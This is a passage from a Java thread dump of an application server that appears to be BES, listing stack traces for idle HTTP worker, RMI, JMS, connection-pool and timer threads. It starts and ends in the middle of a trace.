||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-1900-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"FlushManager" #46 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Thread.sleep(Native Method)
|
||||
at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230)
|
||||
|
||||
"RMI GC Daemon" #90 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@1739a027
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/sun.rmi.transport.GC$Daemon.run(GC.java:127)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
|
||||
|
||||
"Stateful cache" #52 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@58a48465
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Connection-Pool-Create-1797369452" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bfdfea3
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at com.bes.enterprise.gjc.pool.impl.GenericObjectPool$CreateConnectionThread.run(GenericObjectPool.java:1628)
|
||||
|
||||
"RMI Reaper" #89 [WAITING] on java.lang.ref.ReferenceQueue$Lock@7de36c99
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176)
|
||||
at [email protected]/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:352)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-1" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"SelectorReaderThread-8080-1" #70 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:873)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Spark_7" #87 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"AppServer-utility-2" #58 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5cd859a
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"jmsra-WorkerThread-2" #49 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Spark_0" #80 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"RetryTimer" #47 daemon [WAITING] on java.util.TaskQueue@2781c39a
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.Object.wait(Object.java:338)
|
||||
at [email protected]/java.util.TimerThread.mainLoop(Timer.java:537)
|
||||
at [email protected]/java.util.TimerThread.run(Timer.java:516)
|
||||
|
||||
"httpWorkerThread-8080-3" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-8080-6" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-1900-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"http-nio-0.0.0.0-8080-Acceptor" #71 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
|
||||
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:604)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:85)
|
||||
at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Spark_4" #84 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"httpWorkerThread-8080-2" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"RMI TCP Accept-6600" #88 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||
at [email protected]/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:760)
|
||||
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:675)
|
||||
at [email protected]/java.net.ServerSocket.platformImplAccept(ServerSocket.java:641)
|
||||
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:617)
|
||||
at [email protected]/java.net.ServerSocket.implAccept(ServerSocket.java:574)
|
||||
at [email protected]/java.net.ServerSocket.accept(ServerSocket.java:532)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:413)
|
||||
at [email protected]/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"PoolIdleReleaseTimer" #96 daemon [TIMED_WAITING] on java.util.TaskQueue@5bfaeca3
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.util.TimerThread.mainLoop(Timer.java:563)
|
||||
at [email protected]/java.util.TimerThread.run(Timer.java:516)
|
||||
|
||||
"Notification Thread" #15 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
|
||||
"Common Lib Watcher" #19 daemon [TIMED_WAITING]
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Thread.sleep(Native Method)
|
||||
at app//com.bes.enterprise.appserver.startup.CommonClassLoader$1.run(CommonClassLoader.java:90)
|
||||
|
||||
"Spark_1" #81 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"RMI RenewClean-[192.168.215.5:6600]" #93 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@3f961999
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||
at [email protected]/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:559)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"LogFileManager.EventManager" #45 daemon [WAITING] on java.lang.Object@59772d56
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.Object.wait(Object.java:338)
|
||||
at com.bes.org.objectweb.howl.log.LogFileManager$EventManager.run(LogFileManager.java:1236)
|
||||
|
||||
"http-nio-0.0.0.0-1900-Acceptor" #69 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.Net.accept(Native Method)
|
||||
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425)
|
||||
at [email protected]/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:604)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:85)
|
||||
at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Common-Cleaner" #14 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@70c3b8f1
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at [email protected]/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155)
|
||||
at [email protected]/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
at [email protected]/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162)
|
||||
|
||||
"SelectorReaderThread-1900-1" #68 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/sun.nio.ch.EPoll.wait(Native Method)
|
||||
at [email protected]/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129)
|
||||
at [email protected]/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141)
|
||||
at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:873)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"Spark_3" #83 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/java.lang.Object.wait(Native Method)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
|
||||
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
|
||||
|
||||
"Reference Handler" #2 daemon [RUNNABLE]
|
||||
java.lang.Thread.State: RUNNABLE
|
||||
at [email protected]/java.lang.ref.Reference.waitForReferencePendingList(Native Method)
|
||||
at [email protected]/java.lang.ref.Reference.processPendingReferences(Reference.java:253)
|
||||
at [email protected]/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215)
|
||||
|
||||
"bes-deployment-scheduled-executor-thread." #78 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7c50cdbe
|
||||
java.lang.Thread.State: TIMED_WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182)
|
||||
at [email protected]/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122)
|
||||
at [email protected]/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"jmsra-WorkerThread-3" #50 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178)
|
||||
at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651)
|
||||
at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60)
|
||||
at [email protected]/java.lang.Thread.run(Thread.java:840)
|
||||
|
||||
"httpWorkerThread-1900-4" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e
|
||||
java.lang.Thread.State: WAITING
|
||||
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
|
||||
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
|
||||
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
|
||||
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
|
||||
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141)
|
||||
at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29)
|
||||
